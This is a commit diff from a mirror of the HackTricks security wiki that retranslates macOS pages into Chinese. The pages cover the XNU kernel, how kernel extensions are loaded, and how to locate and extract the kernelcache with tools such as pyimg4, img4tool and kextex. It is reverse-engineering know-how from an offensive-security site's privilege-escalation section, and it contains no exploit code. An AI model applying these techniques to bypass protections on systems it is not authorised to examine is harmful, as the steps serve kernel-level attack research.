mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
7a9a36436d
commit
7e19c8ad0c
5 changed files with 441 additions and 405 deletions
|
@ -1,52 +1,52 @@
|
|||
# macOS内核与系统扩展
|
||||
# macOS 内核与系统扩展
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## XNU内核
|
||||
## XNU 内核
|
||||
|
||||
**macOS的核心是XNU**,代表“X不是Unix”。该内核基本上由**Mach微内核**(稍后将讨论)和**来自伯克利软件发行版(BSD)**的元素组成。XNU还通过名为I/O Kit的系统为**内核驱动程序提供平台**。XNU内核是达尔文开源项目的一部分,这意味着**其源代码是免费可访问的**。
|
||||
macOS 的 **核心是 XNU**,代表“X 不是 Unix”。这个内核基本上由 **Mach 微内核**(稍后讨论)和来自伯克利软件分发(**BSD**)的元素组成。XNU 还通过一个名为 I/O Kit 的系统提供 **内核驱动程序的平台**。XNU 内核是 Darwin 开源项目的一部分,这意味着 **其源代码是公开可用的**。
|
||||
|
||||
从安全研究人员或Unix开发人员的角度来看,**macOS**可能会感觉与一个带有优雅GUI和大量自定义应用程序的**FreeBSD**系统非常**相似**。大多数为BSD开发的应用程序在macOS上编译和运行时无需修改,因为Unix用户熟悉的命令行工具都存在于macOS中。然而,由于XNU内核包含Mach,因此传统的类Unix系统和macOS之间存在一些重要差异,这些差异可能会导致潜在问题或提供独特优势。
|
||||
从安全研究人员或 Unix 开发者的角度来看,**macOS** 感觉与 **FreeBSD** 系统非常 **相似**,具有优雅的 GUI 和一系列自定义应用程序。大多数为 BSD 开发的应用程序可以在 macOS 上编译和运行,而无需修改,因为 Unix 用户熟悉的命令行工具在 macOS 中都存在。然而,由于 XNU 内核包含 Mach,因此传统 Unix 类系统与 macOS 之间存在一些显著差异,这些差异可能导致潜在问题或提供独特优势。
|
||||
|
||||
XNU的开源版本:[https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
XNU 的开源版本:[https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
|
||||
### Mach
|
||||
|
||||
Mach是一个**微内核**,旨在**兼容UNIX**。其关键设计原则之一是**最小化**在**内核**空间中运行的**代码**量,而是允许许多典型的内核功能,如文件系统、网络和I/O,以**用户级任务**的形式运行。
|
||||
Mach 是一个 **微内核**,旨在 **与 UNIX 兼容**。其设计原则之一是 **最小化** 在 **内核** 空间中运行的 **代码** 数量,而允许许多典型的内核功能,如文件系统、网络和 I/O,作为用户级任务 **运行**。
|
||||
|
||||
在XNU中,Mach负责许多内核通常处理的关键低级操作,如处理器调度、多任务处理和虚拟内存管理。
|
||||
在 XNU 中,Mach 负责内核通常处理的许多关键低级操作,如处理器调度、多任务处理和虚拟内存管理。
|
||||
|
||||
### BSD
|
||||
|
||||
XNU **内核**还**包含**了大量源自**FreeBSD**项目的代码。这些代码与Mach一起作为内核的一部分运行,在相同的地址空间中。但是,XNU内部的FreeBSD代码可能与原始FreeBSD代码有很大不同,因为必须对其进行修改以确保与Mach的兼容性。FreeBSD对许多内核操作做出贡献,包括:
|
||||
XNU **内核** 还 **包含** 大量来自 **FreeBSD** 项目的代码。这些代码 **与 Mach 一起在内核中运行**,在同一地址空间中。然而,XNU 中的 FreeBSD 代码可能与原始 FreeBSD 代码有很大不同,因为需要进行修改以确保与 Mach 的兼容性。FreeBSD 贡献了许多内核操作,包括:
|
||||
|
||||
* 进程管理
|
||||
* 信号处理
|
||||
* 基本安全机制,包括用户和组管理
|
||||
* 系统调用基础设施
|
||||
* TCP/IP堆栈和套接字
|
||||
* TCP/IP 堆栈和套接字
|
||||
* 防火墙和数据包过滤
|
||||
|
||||
理解BSD和Mach之间的交互可能很复杂,因为它们具有不同的概念框架。例如,BSD使用进程作为其基本执行单元,而Mach基于线程运行。在XNU中,通过**将每个BSD进程与包含一个Mach线程的Mach任务相关联**来协调这种差异。当使用BSD的fork()系统调用时,内核中的BSD代码使用Mach函数创建任务和线程结构。
|
||||
由于 BSD 和 Mach 具有不同的概念框架,理解它们之间的交互可能很复杂。例如,BSD 使用进程作为其基本执行单元,而 Mach 基于线程操作。这种差异在 XNU 中通过 **将每个 BSD 进程与一个包含恰好一个 Mach 线程的 Mach 任务关联** 来调和。当使用 BSD 的 fork() 系统调用时,内核中的 BSD 代码使用 Mach 函数来创建任务和线程结构。
|
||||
|
||||
此外,**Mach和BSD各自维护不同的安全模型**:**Mach**的安全模型基于**端口权限**,而BSD的安全模型基于**进程所有权**。这两种模型之间的差异有时会导致本地特权升级漏洞。除了典型的系统调用外,还有**Mach陷阱允许用户空间程序与内核交互**。这些不同的元素共同构成了macOS内核的多面体混合架构。
|
||||
此外,**Mach 和 BSD 各自维护不同的安全模型**:**Mach 的** 安全模型基于 **端口权限**,而 BSD 的安全模型基于 **进程所有权**。这两种模型之间的差异偶尔会导致本地特权提升漏洞。除了典型的系统调用外,还有 **Mach 陷阱,允许用户空间程序与内核交互**。这些不同的元素共同构成了 macOS 内核的多面性混合架构。
|
||||
|
||||
### I/O Kit - 驱动程序
|
||||
|
||||
I/O Kit是XNU内核中的一个开源、面向对象的**设备驱动程序框架**,处理**动态加载的设备驱动程序**。它允许将模块化代码动态添加到内核中,支持各种硬件。
|
||||
I/O Kit 是 XNU 内核中的一个开源、面向对象的 **设备驱动程序框架**,处理 **动态加载的设备驱动程序**。它允许在内核中动态添加模块化代码,支持多种硬件。
|
||||
|
||||
{% content-ref url="macos-iokit.md" %}
|
||||
[macos-iokit.md](macos-iokit.md)
|
||||
|
@ -58,109 +58,40 @@ I/O Kit是XNU内核中的一个开源、面向对象的**设备驱动程序框
|
|||
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kernelcache
|
||||
## macOS 内核扩展
|
||||
|
||||
**Kernelcache**是XNU内核的**预编译和预链接版本**,以及必要的设备**驱动程序**和**内核扩展**。它以**压缩**格式存储,并在引导过程中解压缩到内存中。Kernelcache通过提供一个准备就绪的内核和关键驱动程序版本,减少了在引导时动态加载和链接这些组件所需的时间和资源,从而实现**更快的启动时间**。
|
||||
macOS 对加载内核扩展(.kext)**非常严格**,因为代码将以高权限运行。实际上,默认情况下几乎不可能(除非找到绕过方法)。
|
||||
|
||||
在iOS中,它位于**`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**,在macOS中,您可以使用**`find / -name kernelcache 2>/dev/null`**或**`mdfind kernelcache | grep kernelcache`**找到它。
|
||||
|
||||
可以运行**`kextstat`**来检查加载的内核扩展。
|
||||
|
||||
#### IMG4
|
||||
|
||||
IMG4文件格式是苹果在其iOS和macOS设备中使用的容器格式,用于安全地**存储和验证固件**组件(如**kernelcache**)。IMG4格式包括一个头部和几个标签,这些标签封装了不同的数据片段,包括实际有效载荷(如内核或引导加载程序)、签名和一组清单属性。该格式支持加密验证,允许设备在执行之前确认固件组件的真实性和完整性。
|
||||
|
||||
通常由以下组件组成:
|
||||
|
||||
* **有效载荷(IM4P)**:
|
||||
* 经常压缩(LZFSE4、LZSS等)
|
||||
* 可选加密
|
||||
* **清单(IM4M)**:
|
||||
* 包含签名
|
||||
* 附加键/值字典
|
||||
* **恢复信息(IM4R)**:
|
||||
* 也称为APNonce
|
||||
* 防止某些更新的重放
|
||||
* 可选:通常找不到
|
||||
|
||||
解压Kernelcache:
|
||||
```bash
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
||||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
#### 内核缓存符号
|
||||
|
||||
有时苹果会发布带有符号的**内核缓存**。您可以通过访问[https://theapplewiki.com](https://theapplewiki.com/)上的链接下载一些带有符号的固件。
|
||||
|
||||
### IPSW
|
||||
|
||||
这些是您可以从[**https://ipsw.me/**](https://ipsw.me/)下载的苹果**固件**。除其他文件外,它将包含**内核缓存**。\
|
||||
要**提取**文件,您只需将其解压缩。
|
||||
|
||||
提取固件后,您将获得一个类似于:**`kernelcache.release.iphone14`**的文件。它采用**IMG4**格式,您可以使用以下方法提取有趣的信息:
|
||||
|
||||
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
您可以使用以下命令检查提取的内核缓存中的符号:**`nm -a kernelcache.release.iphone14.e | wc -l`**
|
||||
|
||||
有了这个,现在我们可以**提取所有的扩展**或者**您感兴趣的一个扩展:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
## Extract com.apple.security.sandbox
|
||||
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
|
||||
|
||||
# Extract all
|
||||
kextex_all kernelcache.release.iphone14.e
|
||||
|
||||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## macOS内核扩展
|
||||
|
||||
macOS对加载内核扩展(.kext)非常严格,因为该代码将以高权限运行。实际上,默认情况下几乎不可能加载(除非找到了绕过方法)。
|
||||
在以下页面中,您还可以看到如何恢复 macOS 在其 **kernelcache** 中加载的 `.kext`:
|
||||
|
||||
{% content-ref url="macos-kernel-extensions.md" %}
|
||||
[macos-kernel-extensions.md](macos-kernel-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### macOS系统扩展
|
||||
### macOS 系统扩展
|
||||
|
||||
macOS不再使用内核扩展,而是创建了系统扩展,提供用户级API与内核进行交互。这样,开发人员可以避免使用内核扩展。
|
||||
macOS 创建了系统扩展,而不是使用内核扩展,提供用户级 API 与内核交互。这样,开发人员可以避免使用内核扩展。
|
||||
|
||||
{% content-ref url="macos-system-extensions.md" %}
|
||||
[macos-system-extensions.md](macos-system-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
|
||||
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**Mac 黑客手册**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# macOS Kernel Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,15 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
## Basic Information
|
||||
|
||||
内核扩展(Kexts)是带有 **`.kext`** 扩展名的 **包**,它们被 **直接加载到 macOS 内核空间**,为主操作系统提供额外功能。
|
||||
内核扩展(Kexts)是带有 **`.kext`** 扩展名的 **包**,它们被 **直接加载到 macOS 内核空间**,为主操作系统提供额外的功能。
|
||||
|
||||
### 要求
|
||||
### Requirements
|
||||
|
||||
显然,这非常强大,以至于 **加载内核扩展** 是 **复杂的**。内核扩展必须满足以下 **要求** 才能被加载:
|
||||
|
||||
* 当 **进入恢复模式** 时,必须允许加载内核 **扩展**:
|
||||
* 当 **进入恢复模式** 时,必须 **允许加载内核扩展**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (327).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -33,13 +33,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
* 在上传过程中,包必须准备在 **受保护的非 root 位置**:`/Library/StagedExtensions`(需要 `com.apple.rootless.storage.KernelExtensionManagement` 授权)。
|
||||
* 最后,当尝试加载时,用户将 [**收到确认请求**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html),如果接受,计算机必须 **重启** 以加载它。
|
||||
|
||||
### 加载过程
|
||||
### Loading process
|
||||
|
||||
在 Catalina 中是这样的:有趣的是,**验证** 过程发生在 **用户空间**。然而,只有具有 **`com.apple.private.security.kext-management`** 授权的应用程序才能 **请求内核加载扩展**:`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd`
|
||||
在 Catalina 中是这样的:有趣的是,**验证** 过程发生在 **用户空间**。然而,只有具有 **`com.apple.private.security.kext-management`** 授权的应用程序才能 **请求内核加载扩展**:`kextcache`,`kextload`,`kextutil`,`kextd`,`syspolicyd`
|
||||
|
||||
1. **`kextutil`** cli **启动** 加载扩展的 **验证** 过程
|
||||
* 它将通过发送 **Mach 服务** 与 **`kextd`** 进行通信。
|
||||
2. **`kextd`** 将检查多个内容,例如 **签名**
|
||||
2. **`kextd`** 将检查几个事项,例如 **签名**
|
||||
* 它将与 **`syspolicyd`** 进行通信以 **检查** 扩展是否可以 **加载**。
|
||||
3. **`syspolicyd`** 将 **提示** **用户** 如果扩展尚未被加载。
|
||||
* **`syspolicyd`** 将结果报告给 **`kextd`**
|
||||
|
@ -47,22 +47,119 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
如果 **`kextd`** 不可用,**`kextutil`** 可以执行相同的检查。
|
||||
|
||||
### Enumeration (loaded kexts)
|
||||
```bash
|
||||
# Get loaded kernel extensions
|
||||
kextstat
|
||||
|
||||
# Get dependencies of the kext number 22
|
||||
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
|
||||
```
|
||||
## Kernelcache
|
||||
|
||||
{% hint style="danger" %}
|
||||
尽管内核扩展预计位于 `/System/Library/Extensions/` 中,但如果你去这个文件夹,你 **不会找到任何二进制文件**。这是因为 **kernelcache**,为了反向工程一个 `.kext`,你需要找到获取它的方法。
|
||||
{% endhint %}
|
||||
|
||||
**kernelcache** 是 **XNU 内核的预编译和预链接版本**,以及必要的设备 **驱动程序** 和 **内核扩展**。它以 **压缩** 格式存储,并在启动过程中解压到内存中。kernelcache 通过提供一个准备就绪的内核和关键驱动程序的版本,促进了 **更快的启动时间**,减少了在启动时动态加载和链接这些组件所需的时间和资源。
|
||||
|
||||
### Local Kerlnelcache
|
||||
|
||||
在 iOS 中,它位于 **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**,在 macOS 中你可以通过以下命令找到它:**`find / -name "kernelcache" 2>/dev/null`** \
|
||||
在我的 macOS 中,我找到了它在:
|
||||
|
||||
* `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
|
||||
|
||||
#### IMG4
|
||||
|
||||
IMG4 文件格式是苹果在其 iOS 和 macOS 设备中用于安全 **存储和验证固件** 组件(如 **kernelcache**)的容器格式。IMG4 格式包括一个头部和几个标签,这些标签封装了不同的数据片段,包括实际的有效载荷(如内核或引导加载程序)、签名和一组清单属性。该格式支持加密验证,允许设备在执行固件组件之前确认其真实性和完整性。
|
||||
|
||||
它通常由以下组件组成:
|
||||
|
||||
* **有效载荷 (IM4P)**:
|
||||
* 通常是压缩的 (LZFSE4, LZSS, …)
|
||||
* 可选加密
|
||||
* **清单 (IM4M)**:
|
||||
* 包含签名
|
||||
* 额外的键/值字典
|
||||
* **恢复信息 (IM4R)**:
|
||||
* 也称为 APNonce
|
||||
* 防止某些更新的重放
|
||||
* 可选:通常不会找到
|
||||
|
||||
解压 Kernelcache:
|
||||
```bash
|
||||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
### 下载 
|
||||
|
||||
* [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
|
||||
|
||||
在 [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) 可以找到所有的内核调试工具包。你可以下载它,挂载它,用 [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) 工具打开它,访问 **`.kext`** 文件夹并 **提取它**。
|
||||
|
||||
使用以下命令检查符号:
|
||||
```bash
|
||||
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
|
||||
```
|
||||
* [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
|
||||
|
||||
有时,Apple 会发布带有 **symbols** 的 **kernelcache**。您可以通过这些页面上的链接下载一些带有符号的固件。固件将包含 **kernelcache** 以及其他文件。
|
||||
|
||||
要 **extract** 文件,首先将扩展名从 `.ipsw` 更改为 `.zip` 并 **unzip** 它。
|
||||
|
||||
提取固件后,您将获得一个文件,如:**`kernelcache.release.iphone14`**。它是 **IMG4** 格式,您可以使用以下工具提取有趣的信息:
|
||||
|
||||
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
### Inspecting kernelcache
|
||||
|
||||
检查 kernelcache 是否具有符号
|
||||
```bash
|
||||
nm -a kernelcache.release.iphone14.e | wc -l
|
||||
```
|
||||
通过这个,我们现在可以**提取所有扩展**或**您感兴趣的一个:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
## Extract com.apple.security.sandbox
|
||||
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
|
||||
|
||||
# Extract all
|
||||
kextex_all kernelcache.release.iphone14.e
|
||||
|
||||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## 参考文献
|
||||
|
||||
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
|
||||
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,80 +1,81 @@
|
|||
# ARM64v8简介
|
||||
# Introduction to ARM64v8
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **异常级别 - EL(ARM64v8)**
|
||||
## **异常级别 - EL (ARM64v8)**
|
||||
|
||||
在ARMv8架构中,执行级别称为异常级别(ELs),定义了执行环境的特权级别和功能。有四个异常级别,从EL0到EL3,每个都有不同的目的:
|
||||
在 ARMv8 架构中,执行级别称为异常级别(ELs),定义了执行环境的特权级别和能力。共有四个异常级别,从 EL0 到 EL3,每个级别有不同的用途:
|
||||
|
||||
1. **EL0 - 用户模式**:
|
||||
